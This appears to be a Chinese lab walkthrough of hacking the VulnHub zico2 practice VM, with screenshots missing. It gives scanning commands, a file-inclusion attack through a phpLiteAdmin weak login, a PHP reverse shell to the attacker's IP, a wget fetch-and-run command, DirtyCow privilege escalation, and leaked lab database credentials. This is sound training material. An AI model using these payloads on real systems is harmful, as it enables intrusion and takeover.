一、靶机下载

下载链接:https://download.vulnhub.com/zico/zico2.ova

二、zico2靶机搭建

将下载好的靶机环境,用VMware导入即可使用,文件->打开
在这里插入图片描述
在这里插入图片描述
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、攻击过程

kali IP:192.168.27.128
靶机IP:192.168.27.132

1、主机发现

nmap -sn 192.168.27.0/24
在这里插入图片描述

2、端口扫描

方法一:nmap -sS 192.168.27.132
在这里插入图片描述
方法二:masscan 192.168.27.132 -p 0-65535 --rate=10000
在这里插入图片描述
方法二比方法一多扫描出一个端口号

3、端口服务识别

nmap -sV -T4 -O 192.168.27.132 -p 22,80,111,42983
在这里插入图片描述

4、漏洞发现

1、访问目标网站
在这里插入图片描述
发现http://192.168.27.132/view.php?page=tools.html可能存在文件包含漏洞
在这里插入图片描述
2.测试是否存在文件包含漏洞,下图说明存在存在文件包含漏洞
在这里插入图片描述
3.扫描网站目录
在这里插入图片描述
发现http://192.168.27.132/dbadmin/
在这里插入图片描述
在这里插入图片描述
尝试弱口令admin成功登录
在这里插入图片描述
4、测试数据库是否可写内容,在数据库插入<? Phpinfo();?>,然后结合文件包含
创建名为hack.php的
在这里插入图片描述
在hack.php数据库创建表test,字段数1
在这里插入图片描述
在hack.php中写入值<?php phpinfo();?>
在这里插入图片描述
在这里插入图片描述
结合文件包含测试
在这里插入图片描述
5、直接在数据库中写入反弹shell,虽然执行并连接,但是并成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
6、换种方法继续测试
在攻击端写反弹脚本,然后在目标数据库中写入一段代码加载位于攻击端的代码,结合文件包含,然后在攻击端开启监听

kali攻击端代码:

<?php
$sock=fsockopen("192.168.27.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");
?>

在kali的apache目录下新建文件shell.txt,文件内容如下,然后重启apache
在这里插入图片描述
接下里,在目标数据库插入代码:

<?php system("wget 192.168.27.128/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>

在这里插入图片描述
注意:
在命令行运行的话,linux和Windows环境下一样,如果你的PHP已经设置为全局的,可以直接php 后跟文件名,如果不是全局的就进入php安装bin目录下,就是有php.exe文件那个目录下执行 php+文件名

kali攻击端监听端口
在这里插入图片描述
文件包含访问hack.php文件
在这里插入图片描述
shell成功反弹
在这里插入图片描述
拿到shell,转换成交互式tty,新建一个终端:python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述

7、查看靶机信息

uname -a
在这里插入图片描述

8、第一种提权方式:Dirtycow提权

将dirtycow提权文件传至靶机
exp地址:https://github.com/FireFart/dirtycow
浏览器下载exp
在这里插入图片描述
将exp放在kali的WEB服务下面并重启apache
在这里插入图片描述
在这里插入图片描述
让靶机去下载这个提权文件dirty.c脚本
wget http://192.168.27.128/dirty.c /tmp/dirty.c
在这里插入图片描述
注意:
wget命令
wget命令用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

-O, --output-document=FILE 将文档写入 FILE。

然后编译并运行,然后切换firefart账户,获得管理员权限
gcc -pthread dirty.c -o exp -lcrypt
在这里插入图片描述
./exp 123
在这里插入图片描述
提权时间有点慢,等一会儿就成功了
在这里插入图片描述
passwd文件,查看此时用户情况
head -1 /etc/passwd
在这里插入图片描述
root用户登录被改变的

9、第二种获取普通权限方法(不提权)

拿到shell后,查看用户文件
在这里插入图片描述
在这里插入图片描述
查看wp-config.php文件
在这里插入图片描述
在这里插入图片描述
发现MySQL database的账号zico/sWfCsfJSPV9H3AmQzw8
尝试远程登录(成功)
在这里插入图片描述

总结

1.信息收集

2.文件包含

3.脏牛提权

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐